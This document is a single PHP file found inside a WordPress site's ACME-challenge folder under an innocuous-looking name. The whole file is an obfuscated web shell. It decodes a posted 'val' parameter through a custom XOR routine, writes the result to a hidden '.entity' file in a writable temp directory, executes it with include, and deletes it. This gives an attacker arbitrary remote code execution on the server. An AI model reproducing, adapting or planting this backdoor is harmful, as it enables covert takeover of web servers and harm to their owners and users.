File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/f/f/b/dlstats_nbulker.php
<?php
if(array_key_exists("\x76\x61l", $_POST)){
$ptr = $_POST["\x76\x61l"];
$ptr = explode('.' ,$ptr);
$factor = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen( $s );
foreach( $ptr as $x => $v2):
$chS = ord( $s[$x %$lenS] );
$d =( ( int)$v2 - $chS -( $x %10)) ^ 95;
$factor .= chr( $d );
endforeach;
$property_set = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp"]);
for ($holder = 0, $mrk = count($property_set); $holder < $mrk; $holder++) {
$marker = $property_set[$holder];
if (!!is_dir($marker) && !!is_writable($marker)) {
$ent = sprintf("%s/.entity", $marker);
$file = fopen($ent, 'w');
if ($file) {
fwrite($file, $factor);
fclose($file);
include $ent;
@unlink($ent);
exit;
}
}
}
}